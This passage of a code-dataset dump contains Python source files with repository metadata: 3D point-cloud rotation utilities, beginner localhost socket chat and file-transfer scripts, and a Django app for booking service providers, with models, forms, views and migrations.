\n\n proposals: [bs, 6]: [xmin, xmax, ymin, ymax, zmin, zmax]\n return:\n anchors_pillars: [batch_size, l, h, w, 3]\n \"\"\"\n proposal_unstack = tf.unstack(proposals, axis=0)\n anchors_pillars = []\n anchor_offset = np.array(anchor_offset, dtype=np.float32)\n for proposal in proposal_unstack: \n proposal = tf.reshape(proposal, [3, 2])\n xdim = proposal[0, 1] - proposal[0, 0]\n ydim = proposal[1, 1] - proposal[1, 0]\n zdim = proposal[2, 1] - proposal[2, 0]\n\n xmin, ymin, zmin = proposal[0, 0], proposal[1, 0], proposal[2, 0]\n\n xdim = xdim / l\n ydim = ydim / h\n zdim = zdim / w\n\n x, y, z = tf.meshgrid(tf.range(0, l, dtype=tf.float32), tf.range(0, h, dtype=tf.float32), tf.range(0, w, dtype=tf.float32), indexing='ij') # [l, h, w]\n x = xmin + (x + anchor_offset[0]) * xdim\n y = ymin + (y + anchor_offset[1]) * ydim\n z = zmin + (z + anchor_offset[2]) * zdim\n\n anchors_pillar = tf.stack([x, y, z], axis=-1)\n anchors_pillar = tf.reshape(anchors_pillar, [-1, 3]) # [l, h, w, 3]\n anchors_pillars.append(anchors_pillar)\n anchors_pillars = tf.stack(anchors_pillars, axis=0) # [bs, -1, 3]\n return anchors_pillars\n\n \n\nif __name__ == '__main__':\n # pc = np.reshape(np.arange(10), [1, 10, 1])\n # pc = np.tile(pc, [2, 1, 100])\n\n # proposals_1 = [0, 1, 0, 2, 2, 2]\n # proposals_2 = [0.5, 0.85, 0.5, 3, 0.7, 0.7]\n # proposals = np.stack([proposals_1, proposals_2], axis=0)\n\n # pc_location = np.ones([2, 10, 3]) * -2.0\n # \n # out_features, out_idx, out_points_num, points_pillars = points_pooling(pc, proposals, pc_location, l=4, h=4, w=4, sample_num=5)\n # sess = tf.Session()\n # op_feature, op_idx, op_num, op_pillars = sess.run([out_features, out_idx, out_points_num, points_pillars])\n # print(op_pillars.shape)\n # print(op_pillars)\n # print(op_num)\n # print(op_idx)\n # print(op_feature[0, 2, 2, 2])\n # print(op_feature.shape)\n\n a = np.array([[0, 6, 0, 6, 0, 6], [1, 6, 2, 7, 3, 8]])\n l=3\n h=5\n w=7\n \n anchors_pillars = calc_anchors_pillar_center(a, l, h, w)\n print(anchors_pillars[0])\n" }, { "alpha_fraction": 0.49335548281669617, "alphanum_fraction": 0.5215947031974792, "avg_line_length": 29.404041290283203, "blob_id": "7db7fac5f7f64832fbe445daf0a6784a3f07e2ac", "content_id": "8b123fbc3f3e3c7109f5db3493338b7ec77f03fc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3010, "license_type": "permissive", "max_line_length": 94, "num_lines": 99, "path": "/lib/utils/rotation_util.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\n\ndef rotate_points(points, rys):\n \"\"\"\n Rotate rys\n points: [..., n, 3]\n rys: [...]\n \"\"\"\n if isinstance(points, tf.Tensor):\n lib_name = tf\n else:\n lib_name = np\n # transpose points from [..., n, 3]->[..., 3, n]\n shape_length = len(rys.get_shape().as_list())\n transpose_vector = list(np.arange(shape_length))\n transpose_vector = transpose_vector + [shape_length+1, shape_length]\n\n c = lib_name.cos(rys) # [...]\n s = lib_name.sin(rys)\n\n points = lib_name.transpose(points, transpose_vector) # [..., 3, n]\n ones = lib_name.ones_like(c)\n zeros = lib_name.zeros_like(c)\n row1 = lib_name.stack([c,zeros,s], axis=-1) # [...,3]\n row2 = lib_name.stack([zeros,ones,zeros], axis=-1)\n row3 = lib_name.stack([-s,zeros,c], axis=-1)\n R = lib_name.stack([row1, row2, row3], axis=-2) # (...,3,3)\n canonical_points = lib_name.matmul(R, points) # [..., 3, n]\n canonical_points = lib_name.transpose(canonical_points, transpose_vector) # [b, n, 3]\n return canonical_points\n\ndef symmetric_rotate_points(points, rys):\n \"\"\"\n flip original points from left to right\n First rotate points by -rys, then translate points by negative z and finally rotate by rys\n points: [b, n, 3]\n rys: [b]\n \"\"\"\n if isinstance(points, tf.Tensor):\n lib_name = tf\n b = tf.shape(points)[0]\n else:\n lib_name = np\n b = points.shape[0]\n\n c = lib_name.cos(rys)\n s = lib_name.sin(rys)\n c_2 = lib_name.square(c)\n s_2 = lib_name.square(s)\n\n points = lib_name.transpose(points, [0, 2, 1]) # [b, 3, n]\n ones = lib_name.ones([b], dtype=np.float32)\n zeros = lib_name.zeros([b], dtype=np.float32)\n row1 = lib_name.stack([c_2 - s_2,zeros,-2*c*s], axis=1) # (b,3)\n row2 = lib_name.stack([zeros,ones,zeros], axis=1)\n row3 = lib_name.stack([-2*c*s,zeros,s_2 - c_2], axis=1)\n R = lib_name.stack([row1, row2, row3], axis=1) # (N,3,3)\n canonical_points = lib_name.matmul(R, points) # [b, 3, n]\n canonical_points = lib_name.transpose(canonical_points, [0, 2, 1]) # [b, n, 3]\n return canonical_points\n\n\n# some rotation matrix\ndef rotx(t):\n ''' 3D Rotation about the x-axis. '''\n c = np.cos(t)\n s = np.sin(t)\n return np.array([[1, 0, 0],\n [0, c, -s],\n [0, s, c]])\n\n\ndef roty(t):\n ''' Rotation about the y-axis. '''\n c = np.cos(t)\n s = np.sin(t)\n return np.array([[c, 0, s],\n [0, 1, 0],\n [-s, 0, c]])\n\n\ndef inv_roty(t):\n ''' Inverse matrix of the y-axis rotation matrix '''\n c = np.cos(t)\n s = np.sin(t)\n return np.array([[c, 0, -s, 0],\n [0, 1, 0, 0],\n [s, 0, c, 0],\n [0, 0, 0, 1]])\n\n\ndef rotz(t):\n ''' Rotation about the z-axis. '''\n c = np.cos(t)\n s = np.sin(t)\n return np.array([[c, -s, 0],\n [s, c, 0],\n [0, 0, 1]])\n" } ]
51
ChoelWu/python-lab
https://github.com/ChoelWu/python-lab
9f5f62a7de911069570a14202acdae9b996d3e3c
57801c93c8e067e006a9043ccc17fc4fd6c964a3
6754f152be7ca32f3142380767c3add3069d7f7c
refs/heads/master
2020-05-31T16:54:59.241415
2019-06-14T16:48:54
2019-06-14T16:48:54
190,393,670
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5680000185966492, "alphanum_fraction": 0.6079999804496765, "avg_line_length": 24, "blob_id": "f0821d0a7ae511868ce2762d7e6b1ee6576f7260", "content_id": "1ef692bf6b503976534138cfeed744a0055d9f6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 526, "license_type": "no_license", "max_line_length": 62, "num_lines": 20, "path": "/20190605/socket_server.py", "repo_name": "ChoelWu/python-lab", "src_encoding": "UTF-8", "text": "import socket\nimport random\n\nserver = socket.socket()\nip_port = (\"127.0.0.1\", 1456)\nserver.bind(ip_port)\nserver.listen(5)\nwhile True:\n print(\"正在等待接收数据......\")\n connection, address = server.accept()\n msg = \"连接成功!\"\n connection.send(msg.encode())\n while True:\n data = connection.recv(1024)\n print(data.decode())\n if data == b'exit':\n break\n connection.send(data)\n connection.send(str(random.randint(1, 1000)).encode())\n connection.close()\n" }, { "alpha_fraction": 0.551612913608551, "alphanum_fraction": 0.6096774339675903, "avg_line_length": 19.66666603088379, "blob_id": "bc1fe9a94e7eda5f3973ed1face0e904a46ec11f", "content_id": "3762d3ba0f4e261a07e46330e45691beeba90019", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 328, "license_type": "no_license", "max_line_length": 29, "num_lines": 15, "path": "/20190605/socket_client.py", "repo_name": "ChoelWu/python-lab", "src_encoding": "UTF-8", "text": "import socket\n\nclient = socket.socket()\nip_port = (\"127.0.0.1\", 1456)\nclient.connect(ip_port)\n\nwhile True:\n data = client.recv(1024)\n print(data.decode())\n msg = input(\"请输入发送的消息:\")\n client.send(msg.encode())\n if msg == \"exit\":\n break\n data = client.recv(1024)\n print(data.decode())\n" }, { "alpha_fraction": 0.5147058963775635, "alphanum_fraction": 0.5514705777168274, "avg_line_length": 21.66666603088379, "blob_id": "9b311d9099aa22c28c8668a250d8c85ae200f99e", "content_id": "f1c3dee274aaace0939a75e2522ed19fb228e3c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 420, "license_type": "no_license", "max_line_length": 49, "num_lines": 18, "path": "/20190605/file_recv.py", "repo_name": "ChoelWu/python-lab", "src_encoding": "UTF-8", "text": "import socket\n\n\nserver = socket.socket()\nip_port = (\"127.0.0.1\", 1456)\nserver.bind(ip_port)\nserver.listen(5)\nwhile True:\n conn, addr = server.accept()\n while True:\n with open(\"receive_file.txt\", \"ab\") as f:\n data = conn.recv(1024)\n if data == b'quit':\n break\n f.write(data)\n conn.send(\"success\".encode())\n print(\"文件接收完成\")\nserver.close()\n" }, { "alpha_fraction": 0.5360824465751648, "alphanum_fraction": 0.5841924548149109, "avg_line_length": 21.384614944458008, "blob_id": "81b2d602a49a9af4a843de93f5a63fbb88fa8977", "content_id": "c62b4871d3968a62f3100b4f9ceb08f9622c79a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 291, "license_type": "no_license", "max_line_length": 45, "num_lines": 13, "path": "/20190605/file_send.py", "repo_name": "ChoelWu/python-lab", "src_encoding": "UTF-8", "text": "import socket\n\n\nclient = socket.socket()\nip_port = (\"127.0.0.1\", 1456)\nclient.connect(ip_port)\nwith open('socket_server_tcp.py', 'rb') as f:\n for i in f:\n client.send(i)\n data = client.recv(1024)\n if data != b'success':\n break\nclient.send('quit'.encode())\n" }, { "alpha_fraction": 0.5932203531265259, "alphanum_fraction": 0.6355932354927063, "avg_line_length": 22.600000381469727, "blob_id": "8f879b5f250872a6ebd87a3084e3f45dbbaae742", "content_id": "464ed1d768abd2e883eccb08961229f24378b1a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 254, "license_type": "no_license", "max_line_length": 57, "num_lines": 10, "path": "/20190605/socket_client_udp.py", "repo_name": "ChoelWu/python-lab", "src_encoding": "UTF-8", "text": "import socket\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nip_port = (\"127.0.0.1\", 1456)\nwhile True:\n msg = input(\"请输入发送的信息:\")\n if msg == \"exit\":\n break\n client.sendto(msg.encode(), ip_port)\nclient.close()\n" }, { "alpha_fraction": 0.6157894730567932, "alphanum_fraction": 0.6894736886024475, "avg_line_length": 22.75, "blob_id": "1d8eafdae908891750f1bb966698665bebda26e5", "content_id": "c786a753e143095d34e3183fc74edff5c07c1e7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 190, "license_type": "no_license", "max_line_length": 57, "num_lines": 8, "path": "/20190605/socket_server_udp.py", "repo_name": "ChoelWu/python-lab", "src_encoding": "UTF-8", "text": "import socket\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nip_port = (\"127.0.0.1\", 1456)\nserver.bind(ip_port)\nwhile True:\n data = server.recv(1024)\n print(data.decode())\n" } ]
6
Yashvanthpai/Service_provider
https://github.com/Yashvanthpai/Service_provider
c17d25e0e6e1bcd9b476f261b3687a199da04ae2
30479f1135878a7f0fc8cef86cc064e08d831fc0
5be65844ddf08ef4034aae338d2180b71bf465a1
refs/heads/master
2022-12-20T23:15:52.492673
2020-09-23T09:48:47
2020-09-23T09:48:47
285,882,913
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5843163132667542, "alphanum_fraction": 0.587811291217804, "avg_line_length": 39.513275146484375, "blob_id": "570d1185e3a43119c66bc83fe528b65dde6470ec", "content_id": "eec87c610e4721c2221dfc654b4ee66c0a99a82c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4578, "license_type": "no_license", "max_line_length": 145, "num_lines": 113, "path": "/django1/core/forms.py", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "from django import forms\nfrom .models import Applicationuser,Payment,Job,Comment\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom django.db.models import F\nfrom math import ceil\nclass User_form(UserCreationForm):\n class Meta:\n model = User\n fields = ('username','password1','password2')\n labels ={\n 'username' : \"Enter Unique username\",\n 'password1':\"Enter password\",\n 'password2': \"Conform password\"\n }\n \n\nclass App_user_form(forms.ModelForm):\n class Meta:\n model = Applicationuser\n fields = '__all__'\n exclude= ('uid','user','rating','rated_user_count')\n labels ={\n 'user_satus' :'Select UserType',\n 'phonenumber' : \"Enter Phone Number\",\n 'profile_pic':\"Select Profilepicture\",\n 'address': \"Enter Address\",\n 'service_catogory': \"Enter service option\"\n }\n widgets = {\n 'description': forms.Textarea(attrs={'rows':2}),\n 'address': forms.Textarea(attrs={'rows':2}),\n }\n\nclass Payment_form(forms.ModelForm):\n job_id = forms.CharField(max_length=20)\n class Meta:\n model = Payment\n exclude=('jobId',)\n fields = ('job_id','labour_cost','resource_cost','job_id','bill_pic')\n labels ={\n 'job_id':\"Job Id\",\n 'labour_cost':\"Enter Labour cost\",\n 'resource_cost':\"Enter Resource cost\",\n 'bill_pic':\"Choose Bill image\"\n }\n widgets ={\n 'labour_cost' : forms.NumberInput(attrs={'required':'True'}),\n 'resource_cost' : forms.NumberInput(attrs={'required':'True'}),\n 'job_id' : forms.TextInput(attrs={'required':'True'})\n }\n \n def save(self,**kwargs):\n obj = super(Payment_form,self).save(commit=False) \n obj.get_total_billamount()\n obj.jobId = int(self.cleaned_data['job_id'])\n obj = obj.save()\n payment_obj = Payment.objects.get(jobId=int(self.cleaned_data['job_id']))\n job_obj = Job.objects.filter(job_id=int(self.cleaned_data['job_id'])).update(job_status='done',payment=payment_obj)\n \n\nclass jobAssignmentForm(forms.ModelForm):\n seeker_id = forms.IntegerField(widget=forms.TextInput(attrs={'style':'display:none'}))\n provider_id = forms.IntegerField(widget=forms.TextInput(attrs={'style':'display:none'}))\n seeker_name = forms.CharField(label=\"Job Seeker Name\",widget=forms.TextInput(attrs={'readonly':'readonly'}))\n provider_name = forms.CharField(label=\"Job Provider Name\",widget=forms.TextInput(attrs={'readonly':'readonly'}))\n class Meta:\n model = Job\n fields = ('job_title','jobName','job_discription','seeker_id','seeker_name','provider_id','provider_name')\n labels = {\n 'jobName':\"Enter the job title\",\n 'job_title':\"Job Type\",\n 'job_discription':\"Enter the job discription\",\n }\n widgets = {\n 'job_discription': forms.Textarea(attrs={\"rows\":\"2\"})\n }\n \n def save(self,**kwargs):\n obj = super(jobAssignmentForm,self).save(commit=False)\n obj.seeker = Applicationuser.objects.get(uid=self.cleaned_data['seeker_id'])\n obj.provider = Applicationuser.objects.get(uid=self.cleaned_data['provider_id'])\n obj = obj.save()\n\nclass Comment_form(forms.ModelForm):\n comment_job_id = forms.IntegerField(widget=forms.TextInput(attrs={\"style\":\"display:none\"}))\n class Meta:\n model=Comment\n fields = ('comment_job_id','content','rating')\n labels = {\n 'comment_job_id ':\"Enter the job title\",\n 'content':\"Leave Comment\",\n 'rating':\"Do rate out of 5\",\n }\n widgets = {\n 'content':forms.Textarea(attrs={\"rows\":\"2\"}),\n 'rating': forms.NumberInput(attrs={'type':'range', 'step': '1', 'min': '1', 'max': '5','required':\"True\"})\n }\n \n def save(self):\n obj = super(Comment_form,self).save(commit=False)\n job_obj = Job.objects.get(job_id=int(self.cleaned_data['comment_job_id']))\n obj.job = job_obj\n\n user_obj = Applicationuser.objects.get(uid=job_obj.provider.uid)\n\n user_obj.rating = ceil(\n ((float(user_obj.rating)*(float(user_obj.rated_user_count)))+float(self.cleaned_data['rating']))/(float(user_obj.rated_user_count)+1)\n )\n user_obj.rated_user_count = F('rated_user_count')+1\n user_obj = user_obj.save()\n\n obj = obj.save()\n" }, { "alpha_fraction": 0.831932783126831, "alphanum_fraction": 0.831932783126831, "avg_line_length": 28.875, "blob_id": "77a483ba3267a93cb84f91bbeed4d416e026289e", "content_id": "a59327a268b1946b58a27b831a5859c97bb5b32c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 238, "license_type": "no_license", "max_line_length": 55, "num_lines": 8, "path": "/django1/core/admin.py", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Applicationuser,Job,Payment,Comment\n# Register your models here.\n\nadmin.site.register(Applicationuser)\nadmin.site.register(Job)\nadmin.site.register(Payment)\nadmin.site.register(Comment)" }, { "alpha_fraction": 0.6742404103279114, "alphanum_fraction": 0.6800528168678284, "avg_line_length": 38.4375, "blob_id": "24edd70938ff6dab5c21cd27fc3ac7d7ea6b6232", "content_id": "d4b9831b5b6e6129c10a8ca28dc6001b0efeb0c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3785, "license_type": "no_license", "max_line_length": 113, "num_lines": 96, "path": "/django1/core/models.py", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import User\n\n# Create your models here.\nclass Applicationuser(models.Model):\n\n class Meta:\n ordering =['uid']\n\n choice = (('provider','PROVIDER'),('seeker','SEEKER'))\n service_category = (\n ('cleaning','Cleaning'),\n ('plumbing','Plumbing'),\n ('electrician','Electrician'),\n ('painting','Painting'),\n ('furniture','Furniture Assembly')\n )\n \n uid = models.AutoField(primary_key=True)\n user = models.OneToOneField(User,null=True,on_delete=models.SET_NULL)\n user_satus = models.CharField(max_length=10,choices=choice,null=True,blank=True)\n service_catogory = models.CharField(max_length=50,blank=True,null=True,choices=service_category)\n description = models.TextField(blank=True,null=True)\n phonenumber = models.CharField(max_length=10)\n profile_pic = models.ImageField(upload_to='pic/',blank=True,null=True)\n rating = models.IntegerField(default=0)\n rated_user_count = models.IntegerField(default=0)\n address = models.TextField()\n \n \n def __str__(self):\n return self.user.username\n\nclass Payment(models.Model):\n class Meta:\n ordering =['payment_id']\n \n choice = (('pending','PENDING'),('done','DONE'))\n\n payment_id = models.AutoField(primary_key=True)\n jobId = models.IntegerField(blank=True,null=True)\n genaratedDate = models.DateTimeField(auto_now_add=True,blank=True,null=True)\n labour_cost = models.IntegerField(default=0)\n resource_cost = models.IntegerField(default=0)\n ammount = models.IntegerField(default=0)\n payment_status = models.CharField(max_length=10,choices=choice,default='pending')\n bill_pic = models.ImageField(blank=True,null=True,upload_to='bill/')\n \n def __str__(self):\n return str(self.payment_id)\n\n def get_total_billamount(self):\n self.ammount = self.labour_cost+self.resource_cost\n\n\nclass Job(models.Model):\n class Meta:\n ordering =['job_id']\n\n choice = (('request','REQUEST'),('accept','ACCEPT'),('done','DONE'),('reject','REJECT'))\n service_category = (\n ('cleaning','Cleaning'),\n ('plumbing','Plumbing'),\n ('electrician','Electrician'),\n ('painting','Painting'),\n ('furniture','Furniture Assembly')\n )\n job_id = models.AutoField(primary_key=True)\n jobName = models.CharField(max_length=40,null=True,blank=True)\n job_title = models.CharField(max_length=30,null=True,choices=service_category)\n job_discription = models.TextField(blank=True,null=True)\n assignDate = models.DateTimeField(auto_now_add=True,blank=True,null=True)\n payment = models.OneToOneField(Payment,blank=True ,null=True,on_delete=models.SET_NULL)\n seeker = models.ForeignKey(Applicationuser,null=True,on_delete=models.SET_NULL,related_name='job_seeker')\n provider = models.ForeignKey(Applicationuser,null=True,on_delete=models.SET_NULL,related_name='job_provider')\n job_status = models.CharField(max_length=10,choices=choice,default='request')\n \n def __str__(self):\n return str(self.job_id)+self.job_status+\" (\"+str(self.seeker.user.username)+\")\"\n\n def addpayment(self,paymentObj=None,job_id=None):\n obj = Job.objects.filter(job_id=job_id).update(payment=paymentObj)\n\n\nclass Comment(models.Model):\n cid = models.AutoField(primary_key=True)\n job = models.OneToOneField(Job,on_delete=models.CASCADE,null=False,blank=False)\n content = models.CharField(max_length=750,blank=False,null=False)\n timestamp = models.DateTimeField(auto_now_add=True)\n rating = models.IntegerField(null=False,blank=False)\n\n class Meta:\n ordering=['cid','rating']\n \n def __str__(self):\n return str(self.cid)+\" \"+str(self.job.seeker.user.username)" }, { "alpha_fraction": 0.5557090044021606, "alphanum_fraction": 0.564226508140564, "avg_line_length": 52.62963104248047, "blob_id": "0c158052945995f92b46f0382e13391ad82d0e8f", "content_id": "59e14dcc64f95516993a7d4863666f22455fe4bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4344, "license_type": "no_license", "max_line_length": 250, "num_lines": 81, "path": "/django1/core/migrations/0001_initial.py", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.6 on 2020-09-18 09:00\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Applicationuser',\n fields=[\n ('uid', models.AutoField(primary_key=True, serialize=False)),\n ('user_satus', models.CharField(blank=True, choices=[('provider', 'PROVIDER'), ('seeker', 'SEEKER')], max_length=10, null=True)),\n ('service_catogory', models.CharField(blank=True, choices=[('cleaning', 'Cleaning'), ('plumbing', 'Plumbing'), ('electrician', 'Electrician'), ('painting', 'Painting'), ('furniture', 'Furniture Assembly')], max_length=50, null=True)),\n ('description', models.TextField(blank=True, null=True)),\n ('phonenumber', models.CharField(max_length=10)),\n ('profile_pic', models.ImageField(blank=True, null=True, upload_to='pic/')),\n ('rating', models.IntegerField(default=0)),\n ('rated_user_count', models.IntegerField(default=0)),\n ('address', models.TextField()),\n ('user', models.OneToOneField(null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'ordering': ['uid'],\n },\n ),\n migrations.CreateModel(\n name='Payment',\n fields=[\n ('payment_id', models.AutoField(primary_key=True, serialize=False)),\n ('jobId', models.IntegerField(blank=True, null=True)),\n ('genaratedDate', models.DateTimeField(auto_now_add=True, null=True)),\n ('labour_cost', models.IntegerField(default=0)),\n ('resource_cost', models.IntegerField(default=0)),\n ('ammount', models.IntegerField(default=0)),\n ('payment_status', models.CharField(choices=[('pending', 'PENDING'), ('done', 'DONE')], default='pending', max_length=10)),\n ('bill_pic', models.ImageField(blank=True, null=True, upload_to='bill/')),\n ],\n options={\n 'ordering': ['payment_id'],\n },\n ),\n migrations.CreateModel(\n name='Job',\n fields=[\n ('job_id', models.AutoField(primary_key=True, serialize=False)),\n ('jobName', models.CharField(blank=True, max_length=40, null=True)),\n ('job_title', models.CharField(choices=[('cleaning', 'Cleaning'), ('plumbing', 'Plumbing'), ('electrician', 'Electrician'), ('painting', 'Painting'), ('furniture', 'Furniture Assembly')], max_length=30, null=True)),\n ('job_discription', models.TextField(blank=True, null=True)),\n ('assignDate', models.DateTimeField(auto_now_add=True, null=True)),\n ('job_status', models.CharField(choices=[('request', 'REQUEST'), ('accept', 'ACCEPT'), ('done', 'DONE'), ('reject', 'REJECT')], default='request', max_length=10)),\n ('payment', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='core.Payment')),\n ('provider', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='job_provider', to='core.Applicationuser')),\n ('seeker', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='job_seeker', to='core.Applicationuser')),\n ],\n options={\n 'ordering': ['job_id'],\n },\n ),\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('cid', models.AutoField(primary_key=True, serialize=False)),\n ('content', models.CharField(max_length=750)),\n ('timestamp', models.DateTimeField(auto_now_add=True)),\n ('rating', models.IntegerField()),\n ('job', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, to='core.Job')),\n ],\n options={\n 'ordering': ['cid', 'rating'],\n },\n ),\n ]\n" }, { "alpha_fraction": 0.6866840720176697, "alphanum_fraction": 0.6901653409004211, "avg_line_length": 59.47368240356445, "blob_id": "4da67da0c7e0c1c46258e83ca8dcbc189d5e02f0", "content_id": "5c56eef0a0d45969636ca486e3973e34c47151c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1149, "license_type": "no_license", "max_line_length": 103, "num_lines": 19, "path": "/django1/core/urls.py", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nfrom django.conf.urls.static import static\nfrom django.conf import settings\nfrom django.contrib.auth.views import LoginView\nfrom . import views\nurlpatterns = static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)+[\n url(r'^login/$',LoginView.as_view(template_name='login.html'),name=\"login\"),\n url(r'^register/$',views.register,name=\"register\"),\n url(r'^logout/$',views.logout,name=\"logout\"),\n url(r'^accept_work_ajax/$', views.accept_work_ajax,name=\"accept_work\"),\n url(r'^reject_work_ajax/$', views.reject_work_ajax,name=\"reject_work\"),\n url(r\"^seekerHome/(?P<service_catogory>[A-Za-z]+)/\",views.seeker_home,name=\"Seeker\"),\n url(r\"^seekerHistory/(?P<service_catogory>[A-Za-z]+)/\",views.seeker_history,name=\"Seeker_history\"),\n url(r\"^providerHome/(?P<service_status>[A-Za-z]+)/\",views.provider_home,name=\"Provider\"),\n url(r'^userHome/(?P<user_id>[0-9]+)/$',views.user_page,name=\"userhome\"),\n url(r'^jobInfo/(?P<job_id>[0-9]+)/',views.job_info,name=\"jobInfo\"),\n url(r'^cancel_work_ajax/$',views.Cancel_work,name=\"Cancel_work_ajax\"),\n url(\"\",views.index,name=\"startpoint\")\n]\n" }, { "alpha_fraction": 0.7393162250518799, "alphanum_fraction": 0.7393162250518799, "avg_line_length": 28.25, "blob_id": "afedb9aa6299674b47b2d221eecfd9a41163c7ad", "content_id": "4615bd877de957ea90bd3da57ff78af9980e515e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 468, "license_type": "no_license", "max_line_length": 70, "num_lines": 16, "path": "/django1/core/templatetags/custumTags.py", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "from django import template\nfrom core.models import Applicationuser,Comment\nregister = template.Library()\n\n\[email protected](name=\"Check_rated\")\ndef getUidFromName(value):\n ans = Comment.objects.filter(job__job_id=int(value)) or None\n if ans:\n return \"yes\"\n return \"no\"\n\[email protected](name=\"getServiceType\")\ndef getServiceTypeFromUsername(value):\n ans = Applicationuser.objects.get(user__username=value).user_satus\n return ans.upper() or None\n" }, { "alpha_fraction": 0.5380629301071167, "alphanum_fraction": 0.5427090525627136, "avg_line_length": 42.0461540222168, "blob_id": "28f5f0454e14f15243898d829ae703a5a01177c0", "content_id": "f2b8e7ab2ca86acc962b5412c076908913be3c3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5596, "license_type": "no_license", "max_line_length": 131, "num_lines": 130, "path": "/django1/dump.py", "repo_name": "Yashvanthpai/Service_provider", "src_encoding": "UTF-8", "text": "@login_required\ndef home(request):\n context={}\n page_list_count = {}\n context_key = ['user_paginator','job_request_paginator','currentjob_paginator','serveredjob_paginator']\n \n if request.method == \"POST\":\n payment_obj = Payment_form(request.POST,request.FILES)\n if payment_obj.is_valid():\n payment_obj.save()\n else:\n context['payment_form'] =payment_obj\n \n obj = Applicationuser.objects.all()\n search_query = request.GET.get('search',None)\n if search_query:\n obj = obj.filter(Q(user__username__icontains =search_query)|\n Q(service_catogory__icontains = search_query)|\n Q(user_satus__icontains =search_query)|\n Q(rating__icontains =search_query))\n \n context['userlist']=obj\n page_list_count['userlist'] = len(obj)\n\n work_dic= { 'request': 'job_request_list',\n 'accept': 'currentjob_list',\n 'done':'serveredjob_list'\n }\n\n for key , value in work_dic.items():\n list_obj = Job.objects.filter(job_status=key)\n if search_query:\n list_obj = list_obj.filter(\n Q(seeker__user__username__icontains =search_query)|\n Q(job_title__icontains =search_query)|\n Q(job_id__icontains =search_query)|\n Q(job_discription__icontains =search_query))\n\n context[value]=list_obj\n page_list_count[value]=len(list_obj)\n\n i=0\n current_page=1\n object_per_page = 10\n for key , value in page_list_count.items():\n \n page_obj= {\n 'previous_page': None,\n 'current_page': 1,\n 'next_page': 2 if current_page * object_per_page < value else None,\n 'offset': 0,\n 'limit': object_per_page if current_page * object_per_page <= value else value,\n 'total_page': value// object_per_page + 1 if value % object_per_page !=0 else value // object_per_page,\n }\n context[context_key[i]] = page_obj\n i+=1\n context[key] = context[key][int(page_obj.get('offset')):int(page_obj.get('limit'))]\n\n\n context['payment_form'] = context.get('payment_form',Payment_form())\n return render(request,'Logedin.html',context)\n@login_required\ndef ajax_pagination(request):\n search_query = request.GET.get('search_query',None)\n object_per_page = 10\n if request.method==\"GET\" and request.is_ajax():\n obj_db = None\n obj_list =[]\n if str(request.GET.get('model')) == \"user\":\n obj_db = Applicationuser.objects.all()\n\n if search_query:\n obj_db = obj_db.filter(Q(user__username__icontains =search_query)|\n Q(service_catogory__icontains = search_query)|\n Q(user_satus__icontains =search_query)|\n Q(rating__icontains =search_query))\n\n total_obj = len(obj_db)\n current_page = int(request.GET.get('currentpage'))\n dic_page = {\n 'previous_page': current_page-1 if (current_page-1) > 0 else None,\n 'current_page': current_page,\n 'next_page': current_page+1 if current_page* object_per_page < total_obj else None,\n 'offset': (current_page-1)* object_per_page,\n 'limit': (current_page)* object_per_page if (current_page)* object_per_page <= total_obj else total_obj,\n 'total_page': total_obj// object_per_page + 1 if total_obj % object_per_page !=0 else total_obj // object_per_page,\n }\n\n obj_db = obj_db[int(dic_page['offset']): int(dic_page['limit'])]\n\n for obj in obj_db:\n obj_d = model_to_dict(obj)\n obj_d['username']= obj.user.username\n obj_d['profile_pic'] = obj.profile_pic.url\n obj_list.append(obj_d)\n \n else:\n obj_db = Job.objects.filter(job_status=request.GET.get('dashoption'))\n\n if search_query:\n obj_db = 